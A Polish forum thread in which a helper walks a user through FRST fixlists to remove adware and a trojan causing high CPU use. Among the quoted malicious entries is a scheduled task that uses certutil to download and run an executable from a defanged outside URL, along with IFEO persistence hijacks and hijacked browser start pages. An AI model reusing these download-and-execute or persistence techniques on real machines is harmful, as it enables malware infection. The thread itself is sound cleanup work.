Jak naprawić 100% użycie procesora przez proces regsvr32?

Jak to naprawić proszę o pomoc.

Zamieścić wymagane logi
https://www.elektroda.pl/rtvforum/topic1044160.html

Proszę logi.

Starszej wersji nie mogles znalezc? Masz zamiescic logi z najnowszej!

Proszę. z nowszej ver.

Nie uzywaj combofix.

Zmien Adobe Reader 8.0 na najnowsza wersje AR.

Odinstaluj: NativeDesktopMediaService

Wykonaj Fixlist.txt dla FRST:
CloseProcesses:
ContextMenuHandlers1: [Advanced SystemCare] -> {2803063F-4B8D-4dc6-8874-D1802487FE2D} => C:\Program Files\IObit\Advanced SystemCare\ASCExtMenu.dll -> Brak pliku
ContextMenuHandlers2: [Advanced SystemCare] -> {2803063F-4B8D-4dc6-8874-D1802487FE2D} => C:\Program Files\IObit\Advanced SystemCare\ASCExtMenu.dll -> Brak pliku
ContextMenuHandlers4: [Advanced SystemCare] -> {2803063F-4B8D-4dc6-8874-D1802487FE2D} => C:\Program Files\IObit\Advanced SystemCare\ASCExtMenu.dll -> Brak pliku
AlternateDataStreams: C:\ProgramData\ntuser.dat:alt [758]
HKU\S-1-5-21-627040989-2515010841-1607082337-1001\...\Run: [WinBar] => C:\Program Files\WinBar\WinBar.exe [271360 2009-09-29] (The WinBar Team) [Brak podpisu cyfrowego]
HKU\S-1-5-21-627040989-2515010841-1607082337-1001\...\Run: [Chromium] => c:\users\admin\appdata\local\chromium\application\chrome.exe [4149760 2017-09-22] (The Chromium Authors) [Brak podpisu cyfrowego]
HKU\S-1-5-18\...\RunOnce: [SPReview] => "C:\Windows\System32\SPReview\SPReview.exe" /sp:1 /errorfwlink:"hxxp://go.microsoft.com/fwlink/?LinkID=122915" /build:7601
CHR HKLM\SOFTWARE\Policies\Google: Ograniczenia <==== UWAGA
CHR HKU\S-1-5-21-627040989-2515010841-1607082337-1001\SOFTWARE\Policies\Google: Ograniczenia <==== UWAGA
Task: {A6FC81CC-56D1-4B94-8482-7882D9C350F0} - System32\Tasks\{319C52B9-98C7-4441-BCD3-256C6819D47B} => C:\Windows\system32\pcalua.exe -a E:\Mechanika\AVDI\abrites_setup_demo.exe -d E:\Mechanika\AVDI
Task: {B391ED75-88A3-4458-BD0E-4FC7B5CE60F9} - System32\Tasks\{E85D7DA8-9929-4FB3-B166-D4E5C54B4566} => G:\Mechanika\Programy Legulacyno-Naprawcze\Ford IDS v86.01\Ford IDS V86 (Web Installer).exe
Task: {C1D7A6F8-42AE-456F-93C9-B7E3408ED753} - System32\Tasks\{426B1565-6ABF-4D1A-A376-88CFE0ADEA31} => C:\Windows\system32\pcalua.exe -a E:\HP_sp54256.exe -d E:\
Task: {CE02EDC5-A968-4753-954A-3A31EE3C2CA4} - System32\Tasks\{1F34A06A-863F-45D9-AB9F-C870EBC4394C} => C:\Windows\system32\pcalua.exe -a "C:\ProgramData\VMware\VMware Workstation\Uninstaller\\uninstall.exe" -c -x -S "C:\ProgramData\VMware\VMware Workstation\Uninstaller\"
Task: {D631C84D-72B5-4610-BAC1-BC8C16019B0B} - System32\Tasks\{9D75CAD4-ACCA-428A-898E-FB5642AE9E49} => C:\Windows\system32\pcalua.exe -a "E:\Programy\Sterowniki hp 6930\sp44789.exe" -d "E:\Programy\Sterowniki hp 6930"
S3 TKFsAvM; C:\Windows\system32\TKFsAv.sys [232592 2018-03-07] (INCA Internet Co.,Ltd. -> INCA Internet Co., Ltd.) <==== UWAGA
S3 TKFsFtM; C:\Windows\system32\TKFsFt.sys [25848 2018-03-07] (INCA Internet Co.,Ltd. -> INCA Internet Co., Ltd.) <==== UWAGA
S3 TKPcFt; C:\Windows\system32\TKPcFtHk.sys [63272 2018-01-30] (INCA Internet Co.,Ltd. -> INCA Internet Co., Ltd.) <==== UWAGA
S3 TKRgAc; C:\Windows\system32\TKRgAc2k.sys [134384 2018-01-29] (INCA Internet Co.,Ltd. -> INCA Internet Co., Ltd.) <==== UWAGA
S3 TKRgFt; C:\Windows\system32\TKRgFtXp.sys [96552 2018-02-04] (INCA Internet Co.,Ltd. -> INCA Internet Co., Ltd.) <==== UWAGA
S3 TKSP; C:\Windows\system32\TKSPxp.sys [106368 2018-01-29] (INCA Internet Co.,Ltd. -> INCA Internet Co., Ltd.) <==== UWAGA
S3 catchme; \??\C:\Users\admin\AppData\Local\Temp\catchme.sys [X] <==== UWAGA
S3 cpuz143; \??\C:\Windows\temp\cpuz143\cpuz143_x32.sys [X]
S3 Synth3dVsc; System32\drivers\synth3dvsc.sys [X]
S3 tsusbhub; system32\drivers\tsusbhub.sys [X]
S3 VGPU; System32\drivers\rdvgkmd.sys [X]
2019-08-14 16:58 - 2019-08-14 16:58 - 000025610 _____ C:\ComboFix.txt
2019-08-14 16:34 - 2019-08-14 16:58 - 000000000 ____D C:\Qoobox
2019-08-14 16:34 - 2011-06-26 08:45 - 000256000 _____ C:\Windows\PEV.exe
2019-08-14 16:34 - 2010-11-07 19:20 - 000208896 _____ C:\Windows\MBR.exe
2019-08-14 16:34 - 2009-04-20 06:56 - 000060416 _____ (NirSoft) C:\Windows\NIRCMD.exe
2019-08-14 16:34 - 2000-08-31 02:00 - 000518144 _____ (SteelWerX) C:\Windows\SWREG.exe
2019-08-14 16:34 - 2000-08-31 02:00 - 000406528 _____ (SteelWerX) C:\Windows\SWSC.exe
2019-08-14 16:34 - 2000-08-31 02:00 - 000098816 _____ C:\Windows\sed.exe
2019-08-14 16:34 - 2000-08-31 02:00 - 000080412 _____ C:\Windows\grep.exe
2019-08-14 16:34 - 2000-08-31 02:00 - 000068096 _____ C:\Windows\zip.exe
2019-08-06 16:00 - 2019-08-06 16:00 - 000005054 _____ C:\ProgramData\ogqnaqsv.zyj
2019-08-04 15:13 - 2019-08-04 15:13 - 000000000 _____ C:\TKSPProtectLog.txt
2019-08-04 15:09 - 2019-08-04 15:09 - 000000000 ____D C:\ProgramData\TACHYON
2019-08-04 15:08 - 2019-08-04 15:14 - 000000000 ____D C:\Program Files\TACHYON
2019-08-04 15:06 - 2019-08-04 15:06 - 000000000 ____D C:\ProgramData\{9CC8DE87-6A1D-A00D-6577-8E2C6590D77D}
2019-08-04 15:06 - 2019-08-04 15:06 - 000000000 ____D C:\ProgramData\{761C4BAC-FF36-4AD9-4EE2-5AC64E050397}
2019-08-04 15:06 - 2019-08-04 15:06 - 000000000 ____D C:\ProgramData\{576D4237-F6AD-6BA8-D5EB-2BE7D50C72B6}
2019-08-04 15:06 - 2019-08-04 15:06 - 000000000 ____D C:\ProgramData\{55F05470-E0EA-6935-92FD-B6E5921AEFB4}
2019-08-04 15:06 - 2019-08-04 15:06 - 000000000 ____D C:\ProgramData\{446C91D0-254A-78A9-3238-2AF432DF73A5}
2019-08-04 15:06 - 2019-08-04 15:06 - 000000000 ____D C:\ProgramData\{2C6842EE-F674-10AD-0CEB-2E9C0C0C77CD}
2018-12-16 20:44 - 2018-12-16 20:44 - 000000000 _____ () C:\Users\admin\AppData\Local\AtStart.txt
2018-12-16 20:44 - 2018-12-16 20:44 - 000000000 _____ () C:\Users\admin\AppData\Local\DSwitch.txt
2018-12-16 20:44 - 2018-12-16 20:44 - 000000000 _____ () C:\Users\admin\AppData\Local\QSwitch.txt

Po wykonaniu zamiesc nowe logi z FRST, ze skanownia.

Logi z wykonanej operacji.

Usun katalog C:\FRST i to wszystko.

Witam znów mój komp coś załapał 100% procesora,i same włączające się strony www.
Proszę o pomoc.

Po co sciagasz jakies zainfekowane programy skoro nie umiesz?

Odinstaluj:
CloudNet
YoutubeAdBlock

Wykonaj Fixlist.txt:
Online Application (HKLM\...\{5266F634-7B7D-4537-BDDC-98DD6CFCBAA1}) (Version: 2.7.0 - Microleaves) Hidden <==== UWAGA

Odinstaluj: Online Application

Uzyj AdwCleaner i usun to co znajdzie.

Wykonaj kolejny Fixlist.txt:
CloseProcesses:
ShortcutWithArgument: C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk -> C:\Program Files\Internet Explorer\iexplore.exe (Microsoft Corporation) -> %SNP%
ShortcutWithArgument: C:\Users\admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk -> C:\Program Files\Google\Chrome\Application\chrome.exe (Google LLC) -> %SNP%
ShortcutWithArgument: C:\Users\admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk -> C:\Program Files\Internet Explorer\iexplore.exe (Microsoft Corporation) -> %SNP%
ShortcutWithArgument: C:\Users\admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk -> C:\Program Files\Internet Explorer\iexplore.exe (Microsoft Corporation) -> %SNP%
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk -> C:\Program Files\Google\Chrome\Application\chrome.exe (Google LLC) -> %SNP%
ShortcutWithArgument: C:\Users\Public\Desktop\Google Chrome.lnk -> C:\Program Files\Google\Chrome\Application\chrome.exe (Google LLC) -> %SNP%
HKLM\...\Run: [SunJavaUpdateSched] => "C:\Program Files\Java\jre7\bin\jusched.exe"
HKLM\...\Run: [KTSInit] => [X]
HKLM\...\RunOnce: [d2cozk5lj4f] => C:\Program Files\dfsdfsdfsdfs\339588500.exe [506368 2019-11-05] () [Brak podpisu cyfrowego]
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender: Ograniczenia <==== UWAGA
HKU\S-1-5-21-579873485-3849809752-3904214943-1000\...\Run: [FrostyDarkness] => C:\Windows\rss\csrss.exe [3958784 2019-11-05] () [Brak podpisu cyfrowego] <==== UWAGA
HKU\S-1-5-21-579873485-3849809752-3904214943-1000\...\Run: [9072370] => C:\Users\admin\AppData\Local\Temp\is-GK3ST.tmp\Videos.exe [531437 2019-11-04] (Storm ) [Brak podpisu cyfrowego] <==== UWAGA
HKU\S-1-5-21-579873485-3849809752-3904214943-1000\...\Run: [CloudNet] => C:\Users\admin\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe [683008 2019-11-06] (EpicNet Inc.) [Brak podpisu cyfrowego] <==== UWAGA
AppInit_DLLs: C:\ProgramData\Quoteex\Freshfix.dll => Brak pliku
IFEO\Quoteex.exe: [GlobalFlag] C:\ProgramData\Windows Monitor\Monitor.exe %i deviceId=df60a372-9ed8-efa8-62f7-18cfc98897a1 channelId=003 distributer=APSFWakeNet processName=Quoteex.exe statsAddress=hxxp://stats.utyuytjn.com/StatisticsService.svc/V1/JSON/LogEvent
HKLM\...\SilentProcessExit\Quoteex.exe: [MonitorProcess] C:\ProgramData\Windows Monitor\Monitor.exe %i deviceId=df60a372-9ed8-efa8-62f7-18cfc98897a1 channelId=003 distributer=APSFWakeNet processName=Quoteex.exe statsAddress=hxxp://stats.utyuytjn.com/StatisticsService.svc/V1/JSON/LogEvent
GroupPolicy: Ograniczenia - Chrome <==== UWAGA
CHR HKLM\SOFTWARE\Policies\Google: Ograniczenia <==== UWAGA
Task: {22295821-3D50-4754-9614-8EECA5DDD9F2} - System32\Tasks\{F6DED1C9-C2CC-44AC-B4F5-0B3E70298F71} => C:\Program Files\DKteam Software\DPF Remover\ADSdpfRemover.exe
Task: {4897C8C5-B28F-4CF5-9D00-D61E1AD93BF1} - System32\Tasks\fiPjTkSmDvjqflQ2 => rundll32 "C:\Program Files\PkjieQEhU\ThkuCP.dll",#1
Task: {4A7309FD-44F2-4208-8308-A26FC4EDEC08} - System32\Tasks\ScheduledUpdate => cmd.exe /C certutil.exe -urlcache -split -f hxxp://tfortytimes.com/app/app.exe C:\Users\admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\admin\AppData\Local\Temp\csrss\scheduled.exe /31340 <==== UWAGA
Task: {73258402-4233-43E9-A202-EEE122894C2F} - System32\Tasks\{B220F71A-7367-4904-B535-C24162C81A6D} => C:\Program Files\DKteam Software\DPF Remover\ADSdpfRemover.exe
Task: {74BCE027-85DF-459C-9AE4-DCEB0B487FC2} - System32\Tasks\{CD4849DC-C42D-46EB-BBCF-AB4A1EF0E1DB} => C:\Program Files\DKteam Software\DPF Remover\ADSdpfRemover.exe
Task: {8C202287-E659-4002-92A7-150F61D465BB} - System32\Tasks\psv_ZooRanair => cmd.exe /c regedit.exe /s "C:\ProgramData\Quoteex\TrisLux.reg" & del "C:\ProgramData\Quoteex\TrisLux.reg" & SCHTASKS /Delete /TN "psv_ZooRanair" /F <==== UWAGA
Task: {A71F8853-7F2D-4852-BA8E-8133AB37CAA3} - System32\Tasks\{AE3D33D8-D82E-4FBE-893A-30A0BE92E3E2} => C:\Program Files\DKteam Software\DPF Remover\ADSdpfRemover.exe
Task: {B2212F7B-7F09-4843-8629-043F03036E1E} - System32\Tasks\csrss => C:\Windows\rss\csrss.exe [3958784 2019-11-05] () [Brak podpisu cyfrowego] <==== UWAGA
Task: {E23521EA-A041-4D94-9C34-5DEF075684F2} - System32\Tasks\psv_Nimtom => cmd.exe /c regedit.exe /s "C:\ProgramData\Quoteex\Zenfind.reg" & del "C:\ProgramData\Quoteex\Zenfind.reg" & SCHTASKS /Delete /TN "psv_Nimtom" /F <==== UWAGA
Task: {F1703F32-089E-4FE1-8A0E-1F9D0D3A5071} - System32\Tasks\bkugMdNNHDoYfpMWLdO => C:\Users\admin\AppData\Local\Temp\473494\ic-0.f664107ede56f8.exe <==== UWAGA
Task: C:\Windows\Tasks\bkugMdNNHDoYfpMWLdO.job => C:\Users\admin\AppData\Local\Temp\473494\ic-0.f664107ede56f8.exe <==== UWAGA
HKU\S-1-5-21-579873485-3849809752-3904214943-1000\Software\Microsoft\Internet Explorer\Main,Search Page = hxxps://%66%65%65%64.%73%6F%6E%69%63-%73%65%61%72%63%68.%63%6F%6D/?p=mKO_AwFzXIpYRaHdGKBRGNclVS1AC6sNoGk3GzeHhcr-ccYpRotoa4Lb2g-USh7J5KDZJJLS8__uzrWbJwfkPoxayH9Dad7ZwYDDmoWnvncrjAMBKaA4K0V-zJ7LuOLJ4Ap5MeyNMRoEL5zXpWVkjr1RUCVlyiVWPHdmq1BgpOhUKX0BcrzXwRdmIuU-CpUNxcf_NA0GBxJF&q={searchTerms}
HKU\S-1-5-21-579873485-3849809752-3904214943-1000\Software\Microsoft\Internet Explorer\Main,Start Page = hxxps://%66%65%65%64.%68%65%6C%70%65%72%62%61%72.%63%6F%6D/?p=mKO_AwFzXIpYRaHdGKBRGNclVS1AC6sNoGk3GzeHhcr-ccYpRotoa4Lb2g-USh7J5KDZJJLS8__uzrWbJwfkPoxayH9Dad7ZwYDDmoWnvncrjAMNPmghLWRvEcAP-SsXjLi-ch_A4AD-N1RUZ8cjHAejg6dSs_gFuB9T_hLQOLY3HffYXVevuJo9kgumM5vS462LsgO4Jwir
HKU\S-1-5-21-579873485-3849809752-3904214943-1000\Software\Microsoft\Internet Explorer\Main,Start Page Redirect Cache = hxxp://www.msn.com/pl-pl/?ocid=iehp
SearchScopes: HKLM -> DefaultScope {ielnksrch} URL =
SearchScopes: HKLM -> ielnksrch URL = hxxps://%66%65%65%64.%73%6F%6E%69%63-%73%65%61%72%63%68.%63%6F%6D/?p=mKO_AwFzXIpYRaHdGKBRGNclVS1AC6sNoGk3GzeHhcr-ccYpRotoa4Lb2g-USh7J5KDZJJLS8__uzrWbJwfkPoxayH9Dad7ZwYDDmoWnvncrjAMBKaA4K0V-zJ7LuOLJ4Ap5MeyNMRoEL5zXpWVkjr1RUCVlyiVWPHdmq1BgpOhUKX0BcrzXwRdmIuU-CpUNxcf_NA0GBxJF&q={searchTerms}
SearchScopes: HKU\S-1-5-21-579873485-3849809752-3904214943-1000 -> DefaultScope {ielnksrch} URL = hxxps://%66%65%65%64.%73%6F%6E%69%63-%73%65%61%72%63%68.%63%6F%6D/?p=mKO_AwFzXIpYRaHdGKBRGNclVS1AC6sNoGk3GzeHhcr-ccYpRotoa4Lb2g-USh7J5KDZJJLS8__uzrWbJwfkPoxayH9Dad7ZwYDDmoWnvncrjAMBKaA4K0V-zJ7LuOLJ4Ap5MeyNMRoEL5zXpWVkjr1RUCVlyiVWPHdmq1BgpOhUKX0BcrzXwRdmIuU-CpUNxcf_NA0GBxJF&q={searchTerms}
SearchScopes: HKU\S-1-5-21-579873485-3849809752-3904214943-1000 -> {ielnksrch} URL = hxxps://%66%65%65%64.%73%6F%6E%69%63-%73%65%61%72%63%68.%63%6F%6D/?p=mKO_AwFzXIpYRaHdGKBRGNclVS1AC6sNoGk3GzeHhcr-ccYpRotoa4Lb2g-USh7J5KDZJJLS8__uzrWbJwfkPoxayH9Dad7ZwYDDmoWnvncrjAMBKaA4K0V-zJ7LuOLJ4Ap5MeyNMRoEL5zXpWVkjr1RUCVlyiVWPHdmq1BgpOhUKX0BcrzXwRdmIuU-CpUNxcf_NA0GBxJF&q={searchTerms}
BHO: YoutubeAdBlock -> {ED956F9C-C439-4636-BD5E-8E60D81F190D} -> C:\Program Files\xTqLirSodIE\kjmnyKdK.dll [2019-11-05] () [Brak podpisu cyfrowego]
C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ohogaiokmklelonikonlifjgophefaaa
C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oiklmlodhebcmaijgmheoafagfhbeohm
CHR Extension: (Adblocker for Youtube™) - C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ohogaiokmklelonikonlifjgophefaaa [2019-11-05] [UpdateUrl:hxxps://clients88.google.com/service/update2/crx] <==== UWAGA
CHR Extension: (Google Access Offline) - C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oiklmlodhebcmaijgmheoafagfhbeohm [2019-11-06] [UpdateUrl:hxxps://clients88.google.com/service/update2/crx] <==== UWAGA
R2 WinDefender; C:\Windows\windefender.exe [0 0000-00-00] () <==== UWAGA (zerobajtowy plik/folder)
S2 backlh; C:\ProgramData\Logic Cramble\set.exe [X] <==== UWAGA
R3 Winmon; C:\Windows\System32\drivers\Winmon.sys [0 0000-00-00] () <==== UWAGA (zerobajtowy plik/folder)
R3 WinmonFS; C:\Windows\System32\drivers\WinmonFS.sys [0 0000-00-00] (Windows (R) Win 7 DDK provider) <==== UWAGA (zerobajtowy plik/folder)
R1 WinmonProcessMonitor; C:\Windows\System32\drivers\WinmonProcessMonitor.sys [28368 2019-11-06] (WDKTestCert Admin,131666266076831434 -> ) [Brak podpisu cyfrowego] <==== UWAGA
S2 DLPortIO; Brak ImagePath
2019-11-06 14:49 - 2019-11-06 14:49 - 000028368 _____ C:\Windows\system32\Drivers\WinmonProcessMonitor.sys
2019-11-06 14:49 - 2019-11-06 14:49 - 000003492 _____ C:\Windows\system32\Tasks\ScheduledUpdate
2019-11-06 14:49 - 2019-11-06 14:49 - 000003190 _____ C:\Windows\system32\Tasks\csrss
2019-11-06 13:23 - 2019-11-06 13:25 - 203540952 _____ C:\Users\admin\Downloads\qmvc1b7b.exe
2019-11-06 13:18 - 2019-11-06 13:18 - 000003264 _____ C:\Windows\system32\Tasks\psv_ZooRanair
2019-11-06 13:15 - 2019-11-06 13:15 - 000000000 ____D C:\ProgramData\Martau
2019-11-06 12:36 - 2019-11-06 12:36 - 000003258 _____ C:\Windows\system32\Tasks\psv_Nimtom
2019-11-06 00:43 - 2019-11-06 00:43 - 000000266 __RSH C:\Users\admin\ntuser.pol
2019-11-05 18:25 - 2019-11-05 18:25 - 000000000 ____D C:\Users\admin\AppData\Roaming\EpicNet Inc
2019-11-05 18:11 - 2019-11-05 18:11 - 000000000 ____D C:\Program Files\dfsdfsdfsdfs
2019-11-05 18:10 - 2019-11-06 13:49 - 000000000 ____D C:\ProgramData\ZzOWUUrQWapxCVVB
2019-11-05 18:10 - 2019-11-06 13:49 - 000000000 ____D C:\Program Files\lLzAZZdKTmfU2
2019-11-05 18:10 - 2019-11-06 13:48 - 000000000 ____D C:\Program Files\DRjFAXyQMjSNC
2019-11-05 18:10 - 2019-11-06 13:48 - 000000000 ____D C:\Program Files\CbXnvzvnnplbMpAYtqR
2019-11-05 18:10 - 2019-11-06 12:36 - 000003186 __RSH C:\ProgramData\ntuser.pol
2019-11-05 18:10 - 2019-11-05 18:10 - 000003058 _____ C:\Windows\system32\Tasks\bkugMdNNHDoYfpMWLdO
2019-11-05 18:10 - 2019-11-05 18:10 - 000002838 _____ C:\Windows\system32\Tasks\fiPjTkSmDvjqflQ2
2019-11-05 18:10 - 2019-11-05 18:10 - 000000566 _____ C:\Windows\Tasks\bkugMdNNHDoYfpMWLdO.job
2019-11-05 18:10 - 2019-11-05 18:10 - 000000000 ____D C:\Program Files\xTqLirSodIE
2019-11-05 18:10 - 2019-11-05 18:10 - 000000000 ____D C:\Program Files\PkjieQEhU
2019-11-05 18:10 - 2019-11-05 18:10 - 000000000 ____D C:\Program Files\fjBTuBfHQTUn
2019-11-05 18:09 - 2019-11-06 13:47 - 000000000 ____D C:\ProgramData\CloudPrinter
2019-11-05 18:09 - 2019-11-06 13:18 - 000000000 ____D C:\Program Files\Common Files\SanGois
2019-11-05 18:09 - 2019-11-05 18:10 - 000015606 _____ C:\Windows\system32\findit.xml
2019-11-05 18:09 - 2019-11-05 18:09 - 008068608 _____ C:\Users\admin\AppData\Local\agent.dat
2019-11-05 18:09 - 2019-11-05 18:09 - 002053232 _____ C:\Users\admin\AppData\Local\Infan.tst
2019-11-05 18:09 - 2019-11-05 18:09 - 001895383 _____ C:\Users\admin\AppData\Local\Bigtop.bin
2019-11-05 18:09 - 2019-11-05 18:09 - 001044480 _____ C:\Users\admin\AppData\Local\S-job.exe
2019-11-05 18:09 - 2019-11-05 18:09 - 001044480 _____ C:\Users\admin\AppData\Local\Infan.exe
2019-11-05 18:09 - 2019-11-05 18:09 - 000140800 _____ C:\Users\admin\AppData\Local\installer.dat
2019-11-05 18:09 - 2019-11-05 18:09 - 000126464 _____ C:\Users\admin\AppData\Local\noah.dat
2019-11-05 18:09 - 2019-11-05 18:09 - 000126464 _____ C:\Users\admin\AppData\Local\lobby.dat
2019-11-05 18:09 - 2019-11-05 18:09 - 000072787 _____ C:\Users\admin\AppData\Local\S-job.tst
2019-11-05 18:09 - 2019-11-05 18:09 - 000070992 _____ C:\Users\admin\AppData\Local\Config.xml
2019-11-05 18:09 - 2019-11-05 18:09 - 000054272 _____ C:\Users\admin\AppData\Local\ApplicationHosting.dat
2019-11-05 18:09 - 2019-11-05 18:09 - 000018432 _____ C:\Users\admin\AppData\Local\Main.dat
2019-11-05 18:09 - 2019-11-05 18:09 - 000016416 _____ C:\Users\admin\AppData\Local\InstallationConfiguration.xml
2019-11-05 18:09 - 2019-11-05 18:09 - 000005568 _____ C:\Users\admin\AppData\Local\md.xml
2019-11-05 18:09 - 2019-11-05 18:09 - 000000000 ____D C:\Users\admin\AppData\Roaming\Microleaves
2019-11-05 18:09 - 2019-11-05 18:09 - 000000000 ____D C:\Users\admin\AppData\Local\AdvinstAnalytics
2019-11-05 18:09 - 2019-11-05 18:09 - 000000000 ____D C:\ProgramData\Quoteexs
2019-11-05 18:09 - 2019-11-05 18:09 - 000000000 ____D C:\Program Files\Microleaves
2019-10-20 23:25 - 2019-10-20 23:25 - 000003002 _____ C:\Windows\system32\Tasks\{F6DED1C9-C2CC-44AC-B4F5-0B3E70298F71}
2019-10-20 22:58 - 2019-10-20 22:58 - 000003002 _____ C:\Windows\system32\Tasks\{B220F71A-7367-4904-B535-C24162C81A6D}
2019-10-20 22:58 - 2019-10-20 22:58 - 000003002 _____ C:\Windows\system32\Tasks\{AE3D33D8-D82E-4FBE-893A-30A0BE92E3E2}
2019-10-20 22:22 - 2019-10-20 22:22 - 000003002 _____ C:\Windows\system32\Tasks\{CD4849DC-C42D-46EB-BBCF-AB4A1EF0E1DB}
2019-11-05 18:09 - 2019-11-05 18:09 - 008068608 _____ () C:\Users\admin\AppData\Local\agent.dat
2019-11-05 18:09 - 2019-11-05 18:09 - 000054272 _____ () C:\Users\admin\AppData\Local\ApplicationHosting.dat
2019-09-13 12:38 - 2019-09-13 12:38 - 000000000 _____ () C:\Users\admin\AppData\Local\AtStart.txt
2019-11-05 18:09 - 2019-11-05 18:09 - 001895383 _____ () C:\Users\admin\AppData\Local\Bigtop.bin
2019-11-05 18:09 - 2019-11-05 18:09 - 000070992 _____ () C:\Users\admin\AppData\Local\Config.xml
2019-09-13 12:38 - 2019-09-13 12:38 - 000000000 _____ () C:\Users\admin\AppData\Local\DSwitch.txt
2019-11-05 18:09 - 2019-11-05 18:09 - 001044480 _____ () C:\Users\admin\AppData\Local\Infan.exe
2019-11-05 18:09 - 2019-11-05 18:09 - 002053232 _____ () C:\Users\admin\AppData\Local\Infan.tst
2019-11-05 18:09 - 2019-11-05 18:09 - 000016416 _____ () C:\Users\admin\AppData\Local\InstallationConfiguration.xml
2019-11-05 18:09 - 2019-11-05 18:09 - 000140800 _____ () C:\Users\admin\AppData\Local\installer.dat
2019-11-05 18:09 - 2019-11-05 18:09 - 000126464 _____ () C:\Users\admin\AppData\Local\lobby.dat
2019-11-05 18:09 - 2019-11-05 18:09 - 000018432 _____ () C:\Users\admin\AppData\Local\Main.dat
2019-11-05 18:09 - 2019-11-05 18:09 - 000005568 _____ () C:\Users\admin\AppData\Local\md.xml
2019-11-05 18:09 - 2019-11-05 18:09 - 000126464 _____ () C:\Users\admin\AppData\Local\noah.dat
2019-09-13 12:38 - 2019-09-13 12:38 - 000000000 _____ () C:\Users\admin\AppData\Local\QSwitch.txt
2019-11-05 18:09 - 2019-11-05 18:09 - 001044480 _____ () C:\Users\admin\AppData\Local\S-job.exe
2019-11-05 18:09 - 2019-11-05 18:09 - 000072787 _____ () C:\Users\admin\AppData\Local\S-job.tst
2019-11-05 18:09 - 2019-11-05 18:09 - 000032038 _____ () C:\Users\admin\AppData\Local\uninstall_temp.ico

Po wykonaniu zrob skan przy pomocy mbam i usun to co wykryje.

CloudNet nie da się odinstalować...

Nie ma to znaczenia, wykonaj reszte.

Dzięki wielkie śmiga aż miło.

Usuń folder C:\FRST i to wszystko.